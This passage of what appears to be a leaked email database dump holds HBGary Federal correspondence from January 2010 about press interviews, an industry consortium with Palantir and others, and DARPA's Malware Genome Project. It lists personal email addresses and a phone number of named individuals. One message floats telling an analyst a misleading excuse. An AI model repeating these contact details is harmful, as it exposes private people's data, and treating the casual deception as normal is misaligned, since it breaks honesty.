trademark on digital DNA and am existing malware genome, so this should be fun.\r\nAaronFrom my iPhoneOn Jan 26, 2010, at 9:06 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nYoure telling me.  I just shot an email to my peeps about\r\nthe interview tomorrow.  We are going to bow out on the 451 interview L My\r\nPR team tells me that we are pretty selective when it comes to interview stuff\r\n(this is a whole new world to me so I didn’t know, my bad for saying we\r\nwere in today).\r\n\r\n \r\n\r\nAs far as the Wired thing, that’s pretty awesome. \r\nWould it be for the magazine or for one of their security blogs?    \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:08 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAlso.  We are talking with wired magazine about the\r\nwhole malware genome and digital DNA thing.  We will be talking about the\r\nthreat intelligence effort and our partnership.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt&#39;s been a busy day.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHaha,\r\nwow, right, thanks.\r\n\r\n \r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, January 26, 2010 8:01 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nKaren Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 10:44:43 AM EST\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul\r\nRoberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Thanks\r\n  Aaron. As soon as you hear back from Palantir, please let me\r\n  know. Paul would like to do the call as soon as possible. In the\r\n  meantime, I&#39;ll look forward to your updates re the consortium. Best, Karen\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  -\r\n  On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  wrote:\r\n  \r\n  \r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Date: Tuesday, January 26, 2010, 5:20 AM\r\n  \r\n  Karen,\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  Thanks.\r\n   I am checking if Palantir can support this.  I would like to do\r\n  this interview and can support in the nexst few days.\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  As\r\n  I mentioned to you, today is our kickoff meeting for our Cyber Intelligence\r\n  Consortium, where I am bringing the best of breed companies together to\r\n  develop a full-spectrum cyber intelligence capability.  I am getting\r\n  very positive feedback from folks I talk to you about this endeavor.  \r\n  So I would like to work with you to develop the next press release for this\r\n  effort.\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  I\r\n  think we should have the Operating agreement signed today and have worked\r\n  some initial numbers, or should I say Ted worked in some initial numbers of\r\n  hours for your support.  I should be able to discuss that with you today\r\n  or tomorrow.\r\n  \r\n  \r\n   \r\n  \r\n  \r\n  Thanks,\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n  \r\n  On\r\n  Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n  \r\n   \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Hi Aaron, The 451 Group analyst Paul Roberts,a security industry\r\n    analyst, would like to speak to both you and Palantir regarding your\r\n    announcement today. It would be great if we could schedule it the next few\r\n    days with both you and a Palantir spokesperson.  \r\n    \r\n    \r\n     \r\n    \r\n    \r\n    Background: Penny and Greg Hoglund recently did a\r\n    corporate update briefing with Paul on HBGary -- prior to when we\r\n    announced HBGary Federal. The opportunity here would be to provide Paul with\r\n    a brief overview of HBGary Federal and specifics on the announcement.\r\n    He will be publishing a report on e-Crime next month and plans to include\r\n    HBGary in the report. Most likely, he may use this interview to include in\r\n    the report; write a separate briefing  note; or blog about on his 451\r\n    Group blog, Plausible Deniability.\r\n    \r\n    \r\n     \r\n    \r\n    \r\n    Please let me know how you want to pursue. Best, Karen\r\n    \r\n    \r\n     \r\n    \r\n    \r\n     \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n   \r\n  \r\n   \r\n  \r\n  \r\n  Aaron\r\n  Barr\r\n  \r\n  \r\n  CEO\r\n  \r\n  \r\n  HBGary\r\n  Federal Inc.\r\n  \r\n  \r\n   \r\n  \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14357,'aaron_hbgary_com/14357.html'),(1561,'2010-01-27','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000471.M198297P3547Q1561.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Hi Aaron, I\'d like to go ahead and schedule you and just tell Paul that Palantir&nbsp;can\'t do the call&nbsp;over the next few days.&nbsp;Paul won\'t be happy if we&nbsp;schedule Palantir and&nbsp;he doesn\'t come on the line.&nbsp;&nbsp;--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:37 PM\r\n\r\nMaybe we could tell them the guy at palantir wasn\'t available last minute. :)From my iPhone\r\nOn Jan 26, 2010, at 9:35 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nOkay thanks Aaron -- are you fairly available tomorrow?--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:15 PM\r\n\r\nHmmm pulled to soon. &nbsp;Let me know if it\'s still of interest to Paul if it\'s just me.\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date: January 26, 2010 9:06:03 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\nYoure telling me.&nbsp; I just shot an email to my peeps about the interview tomorrow.&nbsp; We are going to bow out on the 451 interview L My PR team tells me that we are pretty selective when it comes to interview stuff (this is a whole new world to me so I didn’t know, my bad for saying we were in today).\r\n&nbsp;\r\nAs far as the Wired thing, that’s pretty awesome.&nbsp; Would it be for the magazine or for one of their security blogs?&nbsp; &nbsp;&nbsp;\r\n&nbsp; \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n&nbsp; \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:08 PMTo: Matthew SteckmanSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n&nbsp; \r\n\r\nAlso. &nbsp;We are talking with wired magazine about the whole malware genome and digital DNA thing. &nbsp;We will be talking about the threat intelligence effort and our partnership.\r\n\r\n&nbsp;\r\n\r\nIt\'s been a busy day.\r\n\r\n&nbsp;\r\n\r\nAaronFrom my iPhone\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\nHaha, wow, right, thanks.\r\n&nbsp;\r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n&nbsp; \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:01 PMTo: Matthew SteckmanSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n&nbsp; \r\n\r\nLolFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: January 26, 2010 10:44:43 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule\r\n Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron.&nbsp;As soon as you hear back from Palantir, please let me know.&nbsp;Paul would like to do the call as soon as possible.&nbsp;In the meantime, I\'ll look forward to your updates re the consortium. Best, Karen\r\n\r\n&nbsp;\r\n\r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday,\r\n January 26, 2010, 5:20 AM \r\n\r\nKaren, \r\n\r\n&nbsp;\r\n\r\nThanks. &nbsp;I am checking if Palantir can support this. &nbsp;I would like to do this interview and can support in the nexst few days.\r\n\r\n&nbsp;\r\n\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability. &nbsp;I am getting very positive feedback from folks I talk to you about this endeavor. &nbsp; So I would like to work with you to develop the next press release for this effort.\r\n\r\n&nbsp;\r\n\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support. &nbsp;I should be able to discuss that with you today or tomorrow.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst,&nbsp;would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nBackground: Penny and Greg Hoglund recently did a corporate&nbsp;update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a&nbsp;brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing&nbsp; note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n&nbsp;\r\n\r\nPlease let me know how you want to pursue. Best, Karen\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n&nbsp; \r\n&nbsp; \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',14333,'aaron_hbgary_com/14333.html'),(1562,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000471.M484585P3547Q1562.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Agreed.  That&#39;s what I was elluding to ineffectively.AaronFrom my iPhoneOn Jan 26, 2010, at 10:02 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, I&#39;d like to go ahead and schedule you and just tell Paul that Palantir can&#39;t do the call over the next few days. Paul won&#39;t be happy if we schedule Palantir and he doesn&#39;t come on the line.  \r\n--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:37 PM\r\n\r\nMaybe we could tell them the guy at palantir wasn&#39;t available last minute. :)From my iPhone\r\nOn Jan 26, 2010, at 9:35 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOkay thanks Aaron -- are you fairly available tomorrow?--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Fwd: Schedule Interview with The 451 Group analyst Paul RobertsTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Tuesday, January 26, 2010, 6:15 PM\r\n\r\nHmmm pulled to soon.  Let me know if it&#39;s still of interest to Paul if it&#39;s just me.\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nDate: January 26, 2010 9:06:03 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\nYoure telling me.  I just shot an email to my peeps about the interview tomorrow.  We are going to bow out on the 451 interview L My PR team tells me that we are pretty selective when it comes to interview stuff (this is a whole new world to me so I didn’t know, my bad for saying we were in today).\r\n\r\n \r\nAs far as the Wired thing, that’s pretty awesome.  Would it be for the magazine or for one of their security blogs?    \r\n  \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n  \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:08 PMTo: Matthew SteckmanSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n  \r\n\r\nAlso.  We are talking with wired magazine about the whole malware genome and digital DNA thing.  We will be talking about the threat intelligence effort and our partnership.\r\n\r\n \r\n\r\nIt&#39;s been a busy day.\r\n\r\n \r\n\r\nAaronFrom my iPhone\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHaha, wow, right, thanks.\r\n \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n  \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:01 PMTo: Matthew SteckmanSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n  \r\n\r\nLolFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: January 26, 2010 10:44:43 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule\r\n Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron. As soon as you hear back from Palantir, please let me know. Paul would like to do the call as soon as possible. In the meantime, I&#39;ll look forward to your updates re the consortium. Best, Karen\r\n\r\n\r\n \r\n\r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Tuesday,\r\n January 26, 2010, 5:20 AM \r\n\r\nKaren, \r\n\r\n \r\n\r\nThanks.  I am checking if Palantir can support this.  I would like to do this interview and can support in the nexst few days.\r\n\r\n \r\n\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability.  I am getting very positive feedback from folks I talk to you about this endeavor.   So I would like to work with you to develop the next press release for this effort.\r\n\r\n\r\n \r\n\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support.  I should be able to discuss that with you today or tomorrow.\r\n\r\n\r\n \r\n\r\nThanks,\r\n\r\nAaron\r\n\r\n \r\n\r\n \r\n\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst, would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.  \r\n\r\n\r\n \r\n\r\nBackground: Penny and Greg Hoglund recently did a corporate update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing  note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n\r\n \r\n\r\nPlease let me know how you want to pursue. Best, Karen\r\n\r\n \r\n\r\n \r\n  \r\n  \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n      \r\n',4908,'aaron_hbgary_com/4908.html'),(1563,'2010-01-26','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297000471.M696139P3547Q1563.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - HBGary/EndGames Capabilities Brief','January 26, 2010 1:00 PM : HBGary/EndGames Capabilities Brief \r\n',9248,'aaron_hbgary_com/9248.html'),(1564,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000471.M902955P3547Q1564.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Re: I got am idea.','My thought here is Xetron and HBGary develop the intelligence piece and specialize in the expertise for doing threat intelligence and advanced threat analysis.  NGIS does the larger offering, bodyshop, integration on various platforms, security appliances, etc.\r\n\r\nThey still get the bigger piece of the pie, which is fair, since they have the charter to do that, we get to do the stuff we want to do and marry it to the larger offerings.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 26, 2010, at 9:53 PM, Aaron Barr wrote:\r\n\r\n> What if we talk to IS and work out am arrangment.\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7117,'aaron_hbgary_com/7117.html'),(1565,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000472.M308459P3547Q1566.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: consortium thoughts','Rich,I agree with your analysis. &nbsp;Splunk and Netwitness have the most overlap and both could be consumed as pure product no problem. &nbsp;The real discriminator is HBGary, Palantir, End Game. &nbsp;And those are the only three that really see the big picture and that the little nuts they are all chasing arent in the same ball park as what we are talking about. &nbsp;They just don\'t know how to think big.I agree there is a gap and if no biggie to add then sweet. &nbsp;I didn\'t focus on it since I wasn\'t worried initially about 100% completeness or incident response. &nbsp;I was focused on the intelligence value of the combined effort. &nbsp;And if they are interested and bring something to the table, especially in the form of contacts...as tony the tiger would say...gggrreeeaaaaattt!On the Palantir side I can get you access to the portal..Currently Kam and Michael out in Sac. have access and were going to work on some of the Palantir/HBGary integration when they had time, they haven\'t been able to get to it yet. &nbsp;I was talking with Scott on this.Ur right Xetrons got nothing for ya.What type of scenario should we pick. &nbsp;I think GhostNet or maybe Aurora. &nbsp;Palantir has a lot of data on GhostNet and an existing scenario built. &nbsp;Greg said he had found the GhostNet code, so maybe thats a good fit? &nbsp;It would be interesting to see form End Game what data they could provide.The year is starting out with a bang...this is going to be the shit.AaronOn Jan 26, 2010, at 9:06 PM, Rich Cummings wrote:Aaron,&nbsp;I wanted to synchronize our thoughts after the meeting today.&nbsp; A few of my observations:&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Splunk –&nbsp; in my opinion they don’t get it.&nbsp; do we really need them to get it?&nbsp; I don’t think so.&nbsp; I believe we could use Splunk’s technology successfully without them being involved as long as we are given their API/SDK.&nbsp; I plan to download the splunk stuff and kick the tires ASAP.&nbsp;2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Netwitness – I think they’ll go along with the program but not really drive any innovation until they see dollars.&nbsp; That is probably fine for Phase 1 integration of the solution.&nbsp;3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End-Game Systems – I really like these guys and what they do.. this is what I’m going to start doing from home on the weekends and at night. ;)a.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I offered them some responder software to test. Will be in touch with Dave and Alan.b.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I’m trying to get some sort of consumable information from End Game that we could use to enhance DDNA and the Genome build out of Actors, Locations, Network Assets, etc.4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I’ve Identified A CURRENT GAP IN THE CONSORTIUM’S CAPABILITY… enterprise disk forensics.&nbsp; &nbsp;&nbsp;Our solution must have robust remote disk forensic like capability that can be used like a scalpel to surgically remove 1 or more files during normal incident response work flow.&nbsp; &nbsp;I believe we need to bring Guidance Software into the Consortium because as of now our solution lacks robust “remote” disk analytics.&nbsp; Of course I wish the DDNA agent had all these capabilities right now but it doesn’t. &nbsp;a.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The good news about bringing Guidance into the consortium is Jim Butterworth a former Navy guy who is tight with Cmdr Ashworth of 10th&nbsp;Fleet.&nbsp; Jim and he are good friends.5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;All involved in this meeting seemed worried about level of effort and in my mind I understand where they are coming from but I think it’s a bunch of shit. &nbsp;&nbsp;From my perspective, if all companies agree, lets get me all the software ASAP.&nbsp; &nbsp;I can easily have a bad ass prototype demo in 2-3 weeks. &nbsp;Then we’ll know what we have out of the box as a starting point.. then we can accurately predict the level of effort required by each organization to create the optimal solution or at least enough to destroy any potential competition.a.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I’ll get Netwitness by tomorrowb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I’ll get splunk by tomorrowc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I’ll talk with End-Game about something I can consume, digest and produce DDNAd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I need to get Palantir.&nbsp; Who should I contact?&nbsp; Can you help?e.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I’ve got Encase Enterprise from Guidance Software alreadyf.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Zetron – they’ve got nothing for me… that I know of… right?&nbsp;&nbsp;That’s all I can think of now.&nbsp; Is Ashworth the current head of 10th&nbsp;Flt?&nbsp; What do you think?&nbsp;&nbsp;Thx,Rich&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10850,'aaron_hbgary_com/10850.html'),(1566,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000472.M485130P3547Q1567.eml','\"Tom Conroy\" <tom.conroy@ngc.com>,\"Tom Conroy\" <tom.conroy@ngc.com>','Not sure if you saw this','http://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\nLast night DARPA released a Malware Genome Project pre solicitation with the vendor day this Friday and another on Feb. 8th.\r\n\r\nThis is unbelievable to us, HBGary.  We have the trademark for the term Digital DNA, we have a product with the same name that automatically analyzes malware and detects zero day attacks with 75% accuracy.  We detected the aurora incident as an example, many others.  We also have an existing malware genome database that supports our Digital DNA product.  This RFP and where the Pentagon is going is right down our lane.\r\n\r\nI had an interesting discussion with Brian Masterson today.  We met with the consortium members for our first meeting today.  He is concerned about the conflict for building capability and pursuing work separate from NGIS ISD.  I am concerned about it as well.  I want to partner with Xetron to develop this capability but am anxious at the possibility of getting down the road and getting shutdown because of internal conflicts.\r\n\r\nI guess we can talk more about this Friday, but its on my mind, and I usually don\'t let things sit on my mind long.  Honest assessment, NGIS ISD does not have the talent to develop a significant capability.  They can integrate.\r\n\r\nWhat I propose is let Xetron and HBGary develop the Threat Intelligence capability.  Let NGIS develop the integration of that capability within a larger offering and we can pursue the big contracts all together.\r\n\r\nI think there is still some baggage on the ISD side with my departure.  I have no problem talking with anyone else in NG about cooperative pursuits, but I cant get anyone in ISD to return a call, so not sure how that effects things.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5430,'aaron_hbgary_com/5430.html'),(1567,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000472.M665527P3547Q1568.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Malware Genome Project','OK guys my take on all of this.  As your very aware... HBGary is in a veerrrrry good position.  I agree we don\'t want to ruffle any good existing relationships.  That said, I don\'t think we should commit to any partnerships until after the vendor day presentation.  This will give us time to do our research on the players, who is best positioned, has complimentary or existing capabilities.  See who approaches us, etc.\r\n\r\nA few things we need to ask of anyone that wants to partner with us.  What are their existing relationships/contracts with DARPA and the Pentagon.  What existing capabilities do they have to lend to this effort.  Anyone that is a negative on both questions, despite relationships, I recommend we don\'t partner.\r\n\r\nFirst step I will talk with Sparta tomorrow and provide feedback.  What I know of Sparta off the cuff is they have a long standing relationship with DARPA with many awards and have an impressive shelf of cybersecurity IP/Products.  They are somewhat unique in the larger defense contractor world in that respect.  Northrop Grumman has no capability here but has some good relationships with DARPA, same goes for SAIC and Lockheed.  I imagine GD fits in the same boat but I don\'t know them as well.\r\n\r\nThe speed at which this is going forward shows their urgency in developing capability, the fact that we already have something working...huge, and also potentially (history shows this to be a decent assertion) they might have already talked to one or some contractors and have a line on direction.\r\n\r\nAaron',12047,'aaron_hbgary_com/12047.html'),(1568,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000472.M86209P3547Q1565.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Add to Dev Portal','Hey Matt,\r\n\r\nCan you add Rich Cummings, rich@hbgary.com, to have access to the dev portal?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9269,'aaron_hbgary_com/9269.html'),(1569,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000472.M873089P3547Q1569.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: ManTech','Thanks. &nbsp;I understand the issues I think and we can take it as it comes. &nbsp;I have strong relationships at the most senior levels of the company, hopefully that helps. &nbsp;I am not sure where Dan fits in the organization. &nbsp;Productizing is the new black for defense contractors trying to eek out as much profit as possible in a tight economy, however where there is an existing robust technology Mantech is not interested in reinventing, or so Alex Nieves told me, he is the VP for the Cyber and Forensics OU. &nbsp;I think we can find areas to collaborate, but there is definitely some overlap and they will look out for their best interests first.Rich and I have a demo scheduled for next week to Alex and his team, we will see how it goes.AaronOn Jan 26, 2010, at 1:36 PM, Penny Leavy-Hoglund wrote:Here is some feedback on ManTech.&nbsp; You might want to be careful&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, January 26, 2010 9:46 AMTo:&nbsp;Rich Cummings; Matt O\'FlynnCc:&nbsp;Penny C. HoglundSubject:&nbsp;ManTech&nbsp;Rich and Matt,&nbsp;HBGary needs to use extreme caution when dealing with ManTech.&nbsp; Coincidentally, I just called and spoke with&nbsp;Dan Hall of ManTech who told me he drank with Matt and Phil at&nbsp;DC3 last night.&nbsp;&nbsp;ManTech&nbsp;views themselves as an HBGary competitor.&nbsp; They&nbsp;have developed a suite of memory analysis 